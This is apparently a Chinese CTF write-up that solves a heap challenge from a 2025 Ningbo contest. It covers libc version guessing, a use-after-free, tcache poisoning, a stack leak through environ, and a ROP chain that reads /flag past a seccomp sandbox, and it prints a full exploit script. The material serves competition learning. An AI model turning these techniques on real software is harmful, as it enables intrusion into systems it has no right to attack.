2025宁波网络安全大赛预赛pwn:entity_cache 详解
这是本次初赛的仅有的一个困难标注的题目,本题是常规的堆题目,但是没给libc文件,猜测libc成为本题最大的难点,然后就是从堆上打到栈上,从栈上绕过沙箱的流程了
题目情况
题目文件单一个entity_cache文件,没给libc文件,保护全开:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
运行起来,菜单风格题目,给出了pie地址泄露
PWN附件 ➤ ./entity_cache
===============================
IMF SECURE INTERFACE ONLINE
Target: ENTITY CACHE NODE
Mission: EXFILTRATE /flag
[DEBUG INFO] 0x55f727c00a1a
===============================
========= IMF TERMINAL =========
1. Inject Fragment
2. Override Fragment
3. Purge Fragment
4. Probe Fragment
5. Abort Mission
================================
>> Select Operation Code:
逆向分析
main:提供了5个选项,除了增删改查外,还有个 return 0
的选项
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
mission_init(argc, argv, envp); // 泄露pie
sandbox(); // 禁用execve
while ( 1 )
{
mission_menu();
__isoc99_scanf("%d", &v4);
getchar();
switch ( v4 )
{
case 1:
allocate_fragment(); // 申请内存,写入数据
break;
case 2:
edit_fragment(); // 编辑
break;
case 3:
release_fragment(); // 释放,指针没清空,可能UAF
break;
case 4:
inspect_fragment(); // 打印,可泄露地址
break;
case 5:
puts("[IMF] Mission aborted. Terminal shutting down.");
return 0;
default:
puts("[!] Invalid Operation Code.");
break;
}
}
}
mission_init中给出了地址:
int __fastcall mission_init(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("\n===============================");
puts(" IMF SECURE INTERFACE ONLINE ");
puts(" Target: ENTITY CACHE NODE ");
puts(" Mission: EXFILTRATE /flag ");
printf("[DEBUG INFO] %p\n", sandbox);
return puts("===============================\n");
}
是sandbox的地址,该函数:
unsigned __int64 __fastcall sandbox()
{
__int64 v0; // r9
__int64 v2; // [rsp+0h] [rbp-50h] BYREF
__int16 n32; // [rsp+10h] [rbp-40h] BYREF
char v4; // [rsp+12h] [rbp-3Eh]
char v5; // [rsp+13h] [rbp-3Dh]
int n4; // [rsp+14h] [rbp-3Ch]
__int16 n21; // [rsp+18h] [rbp-38h]
char v8; // [rsp+1Ah] [rbp-36h]
char n2; // [rsp+1Bh] [rbp-35h]
int v10; // [rsp+1Ch] [rbp-34h]
__int16 n32_1; // [rsp+20h] [rbp-30h]
char v12; // [rsp+22h] [rbp-2Eh]
char v13; // [rsp+23h] [rbp-2Dh]
int v14; // [rsp+24h] [rbp-2Ch]
__int16 n21_1; // [rsp+28h] [rbp-28h]
char v16; // [rsp+2Ah] [rbp-26h]
char v17; // [rsp+2Bh] [rbp-25h]
int n59; // [rsp+2Ch] [rbp-24h]
__int16 n6; // [rsp+30h] [rbp-20h]
char v20; // [rsp+32h] [rbp-1Eh]
char v21; // [rsp+33h] [rbp-1Dh]
int v22; // [rsp+34h] [rbp-1Ch]
__int16 n6_1; // [rsp+38h] [rbp-18h]
char v24; // [rsp+3Ah] [rbp-16h]
char v25; // [rsp+3Bh] [rbp-15h]
int n2147418112; // [rsp+3Ch] [rbp-14h]
unsigned __int64 v27; // [rsp+48h] [rbp-8h]
v27 = __readfsqword(0x28u);
n32 = 32;
v4 = 0;
v5 = 0;
n4 = 4;
n21 = 21;
v8 = 0;
n2 = 2;
v10 = -1073741762;
n32_1 = 32;
v12 = 0;
v13 = 0;
v14 = 0;
n21_1 = 21;
v16 = 0;
v17 = 1;
n59 = 59;
n6 = 6;
v20 = 0;
v21 = 0;
v22 = 0;
n6_1 = 6;
v24 = 0;
v25 = 0;
n2147418112 = 2147418112;
LOWORD(v2) = 6;
prctl(38, 1, 0, 0, 0, v0, v2, &n32);
prctl(22, 2, &v2);
return __readfsqword(0x28u) ^ v27;
}
通过prctl启动了沙箱,seccomp查看:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
禁用了execve的syscall
接下来看选项1:可以申请最大0x500的内存,写入任意数据,不存在溢出
unsigned __int64 allocate_fragment()
{
unsigned int n0xA_1; // ebx
unsigned int idx; // [rsp+0h] [rbp-20h] BYREF
unsigned int size; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
printf("[+] Request fragment id > ");
__isoc99_scanf("%d", &idx);
if ( idx > 0xA || cache[idx] ) // 最多11个
{
puts("[ENTITY] All cache sectors occupied.");
exit(0);
}
printf("[+] Request fragment size > ");
__isoc99_scanf("%d", &size);
if ( size > 0x500 ) // 最大0x500
{
puts("[!] Invalid sector size.");
exit(0);
}
cache_size[idx] = (int)size;
n0xA_1 = idx;
cache[n0xA_1] = (__int64)malloc(cache_size[idx]);// 申请内存
printf("[+] Upload fragment > ");
read(0, (void *)cache[idx], cache_size[idx]); // 写入数据
printf("[IMF] Fragment #%d injected into ENTITY.\n", idx);
return __readfsqword(0x28u) ^ v4;
}
选项2:指定索引编辑数据,也不存在溢出
unsigned __int64 edit_fragment()
{
unsigned int n9; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("[>] Select fragment id > ");
__isoc99_scanf("%d", &n9);
getchar();
if ( n9 <= 9 && cache[n9] ) // 变10个了,
{
printf("[~] Override data stream > ");
read(0, (void *)cache[n9], cache_size[n9]); // 根据size数组写入数据
puts("[IMF] Fragment updated.");
}
else
{
puts("[!] Invalid fragment reference.");
}
return __readfsqword(0x28u) ^ v2;
}
选项3:指定索引释放内存,但是指针没清空,存在UAF缺陷
unsigned __int64 release_fragment()
{
unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("[>] Select fragment id > ");
__isoc99_scanf("%d", &idx);
getchar();
if ( idx <= 9 && cache[idx] )
{
free((void *)cache[idx]); // 指针没释放
puts("[ENTITY] Fragment purged from cache.");
}
else
{
puts("[!] Invalid release attempt.");
}
return __readfsqword(0x28u) ^ v2;
}
选项4:打印指定索引的内存,可配合选项3来实现UAF-Read
unsigned __int64 inspect_fragment()
{
unsigned int n9; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("[>] Select fragment id > ");
__isoc99_scanf("%d", &n9);
getchar();
if ( n9 <= 9 && cache[n9] )
puts((const char *)cache[n9]); // 打印
else
puts("[!] Cannot access void fragment.");
return __readfsqword(0x28u) ^ v2;
}
利用分析
整理当前分析到的信息:
- 没有提供 libc 文件
- 存在 pie 地址泄露
- 有沙箱,禁用了 execve 的 syscall
- 可以申请 0x500 以内的内存,写入任意数据
- 申请的内存指针保存在数组里,由于 pie 泄露,该数组地址可知
- 存在 UAF 漏洞,可以读取或者修改释放了的 chunk 的内容
往往通过现有的信息可以拼凑出出题人的意图:
- 这里给了pie,意味着可能需要在指针数组上做操作
- 堆题上了沙箱,又给了return的菜单选项,说明大概率得去栈上做个 rop
- 没有提供libc文件,缺又可以申请0x500以内的内存,说明允许操作unsortedbin size chunk,配合UAF读可以得到arena地址
综上,思路如下:
- 申请出unsortedbin size chunk然后释放掉,通过UAF拿到libc地址,根据libc地址计算偏移通过libc-database查到libc版本
- 知道libc版本了,就知道有没有tcachebin可以用了,有tcachebin就打tcachebin dup,没有就打fastbin dup,这二者存在区别,盲打会产生更多的试错成本
- 通过dup控制指针数组,就可以做到任意内存写任意数据了
- 然后就是rop绕沙箱的过程:environ泄露栈地址,计算main函数return地址,申请栈内存,写入rop,绕沙箱读flag
辅助函数
def cmd(i, prompt = b"Select Operation Code: "):
sla(prompt, i)
def add(idx:int,size:int,ctx:bytes):
cmd('1')
sla(b"id > ",str(idx).encode())
sla(b"size > ",str(size).encode())
sla(b"fragment > ",ctx)
#......
def edit(idx:int,ctx:bytes):
cmd('2')
sla(b"id > ",str(idx).encode())
sla(b"stream > ",ctx)
def dele(idx:int):
cmd('3')
sla(b"id > ",str(idx).encode())
def show(idx:int):
cmd('4')
sla(b"id > ",str(idx).encode())
ru(b"[DEBUG INFO] ")
pie_leak = rl()[:-1]
pie_leak = int(pie_leak, 16)
elf.address = pie_leak - 0xa1a
success("pie_leak: " + hex(elf.address))
泄露 libc 版本
"""
给了PIE地址, 需要猜libc版本
漏洞是UAF, 最大申请0x500内存
通过unsortedbin 的指针去猜测吧
"""
add(0,0x488,b"1")
add(1,0x38,b"22222222222222222")
dele(0)
show(0)
libc_leak = rl()[:-1]
libc_leak = unpack(libc_leak,"all")
success(hex(libc_leak))
申请一个unsortedbin size chunk,一个分隔chunk,然后释放了读:
[+] 0x7f235db74ca0
unsortedbin chunk fd 指向 main_arena+96的地方,而main_arena就是0x7f235db74c40:
经过测试(这是我最大的踩坑点),可能是他用的libc没有main_arena符号,用的不是这个2.29的,该libc 2.29且没有启用tcache,非主流libc版本,不像题目常见的情况也
所谓测试就是,假设当前libc是对的,继续往后写exp,然后后续的回显都本地远程匹配的话,说明是对的,这里就是发现后续该泄露stack地址的时候,给了个libc地址,发现问题所在
就需要继续猜测libc版本,接下来的思路就是,找到main_arena附近的符号
对于2.34之前,可以用hook地址:
- main_arena-0x10:__malloc_hook
- main_arena-0x18:__realloc_hook
搜出来libc2.27,经测试,是这个了
攻击指针数组,得到任意地址读写,泄露栈地址
"""
有沙箱execve被禁用, 需要去栈上打rop
计划: 数组保存在bss段,伪造chunk把chunk打到bss上去,然后通过environ泄露栈地址,去修改返回地址写rop
"""
dele(1)
edit(1,pack(elf.address + 0x202060))
add(8,0x38,b"test11111111")
#add(9,0x38,pack((0xdeadbeef)))
add(9,0x38,pack((libc.sym.environ)))
show(0)
environ = rl()[:-1]
environ = unpack(environ,"all")
success(f"environ : {hex(environ)}")
[+] environ : 0x7ffc5bab5ef8
2.27下,用最常规的 tcache poisoning 操作打即可,操控指针数组的0号指针,指向environ变量
environ变量是libc和stack连接的桥梁,libc中仅有的stack地址
通过UAF读取其内容,得到stack泄露
劫持返回地址,构造ROP
查看返回地址:
pwndbg> retaddr
0x7ffc5bab55c8 —▸ 0x7f3d055990f8 (_IO_file_underflow+296) ◂— test rax, rax
0x7ffc5bab55f8 —▸ 0x7f3d0559a3a2 (_IO_default_uflow+50) ◂— cmp eax, -1
0x7ffc5bab5618 —▸ 0x7f3d05577b9a (_IO_vfscanf+2474) ◂— cmp eax, -1
0x7ffc5bab5d08 —▸ 0x7f3d05587f88 (__isoc99_scanf+280) ◂— and dword ptr [rbx + 0x74], 0xffffffeb
0x7ffc5bab5de8 —▸ 0x564f6b60109d (main+77) ◂— call getchar@plt
0x7ffc5bab5e08 —▸ 0x7f3d0552dc87 (__libc_start_main+231) ◂— mov edi, eax
0x7ffc5bab5ec8 —▸ 0x564f6b60093a (_start+42) ◂— hlt
main的返回地址在0x7ffc5bab5e08,需要从这里控制内存,计算偏移:0xf0
"""
hijack retaddr
"""
retaddr = stack_leak-0xf0
success(f"retaddr : {hex(retaddr)}")
edit(9,pack(retaddr))
show(0)
leak_ = rl()[:-1]
leak_ = unpack(leak_,"all")
success(f"retaddr leak : {hex(leak_)}")
"""
rop chain & shellcode
"""
rop = ROP([elf,libc])
rop.raw(0xdeadbeef)
edit(0,rop.chain())
程序成功执行到0xdeadbeef:
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────
*RAX 0
*RBX 0
*RCX 0
*RDX 0x7fd7332478c0 ◂— 0
*RDI 1
*RSI 0x7fd7332467e3 (_IO_2_1_stdout_+131) ◂— 0x2478c0000000000a /* '\n' */
*R8 0x2e
*R9 0
*R10 0x7fd732ff8bc0 ◂— add al, byte ptr [rax]
R11 0x246
*R12 0x55ade4a00910 (_start) ◂— xor ebp, ebp
*R13 0x7ffd3dbe39e0 ◂— 1
*R14 0
R15 0
*RBP 0x55ade4a01140 (__libc_csu_init) ◂— push r15
*RSP 0x7ffd3dbe3910 ◂— 0xa /* '\n' */
*RIP 0xdeadbeef
───────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────
Invalid address 0xdeadbeef
劫持成立,接下来就是写rop的利用了
rop 绕沙箱执行syscall
最简单的方式,就是orw了:
"""
rop chain & shellcode
"""
buff = elf.address + 0x202a60
rop = ROP([elf,libc])
rop.read(0,buff,7)
rop.open(buff,0,0)
rop.read(3,buff,0x30)
rop.write(1,buff,0x30)
edit(0,rop.chain())
cmd(b"5")
s(b"./flag\x00")
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt = b"Select Operation Code: "):
sla(prompt, i)
def add(idx:int,size:int,ctx:bytes):
cmd('1')
sla(b"id > ",str(idx).encode())
sla(b"size > ",str(size).encode())
sla(b"fragment > ",ctx)
#......
def edit(idx:int,ctx:bytes):
cmd('2')
sla(b"id > ",str(idx).encode())
sla(b"stream > ",ctx)
def dele(idx:int):
cmd('3')
sla(b"id > ",str(idx).encode())
def show(idx:int):
cmd('4')
sla(b"id > ",str(idx).encode())
ru(b"[DEBUG INFO] ")
pie_leak = rl()[:-1]
pie_leak = int(pie_leak, 16)
elf.address = pie_leak - 0xa1a
success("pie_leak: " + hex(elf.address))
"""
给了PIE地址, 需要猜libc版本
漏洞是UAF, 最大申请0x500内存
通过unsortedbin 的指针去猜测吧
"""
add(0,0x488,b"1")
add(1,0x38,b"22222222222222222")
dele(0)
show(0)
libc_leak = rl()[:-1]
libc_leak = unpack(libc_leak,"all")
success(hex(libc_leak))
libc.address = libc_leak -0x3ebca0
success("libc: " + hex(libc.address))
success("pie_leak: " + hex(elf.address))
"""
有沙箱execve被禁用, 需要去栈上打rop
计划: 数组保存在bss段,伪造chunk把chunk打到bss上去,然后通过environ泄露栈地址,去修改返回地址写rop
"""
dele(1)
edit(1,pack(elf.address + 0x202060))
add(8,0x38,b"test11111111")
#add(9,0x38,pack((0xdeadbeef)))
add(9,0x38,pack((libc.sym.environ)))
show(0)
environ = rl()[:-1]
environ = unpack(environ,"all")
stack_leak = environ
success(f"environ : {hex(environ)}")
"""
hijack retaddr
"""
retaddr = stack_leak-0xf0
success(f"retaddr : {hex(retaddr)}")
edit(9,pack(retaddr))
show(0)
leak_ = rl()[:-1]
leak_ = unpack(leak_,"all")
success(f"retaddr leak : {hex(leak_)}")
"""
rop chain & shellcode
"""
buff = elf.address + 0x202a60
rop = ROP([elf,libc])
rop.read(0,buff,7)
rop.open(buff,0,0)
rop.read(3,buff,0x30)
rop.write(1,buff,0x30)
edit(0,rop.chain())
cmd(b"5")
s(b"./flag\x00")
ia()
总结
本题要点:
- 通过main_arena地址猜解libc版本
- tcache poisoning
- environ 泄露栈地址
- rop 绕过 seccomp 沙箱读取flag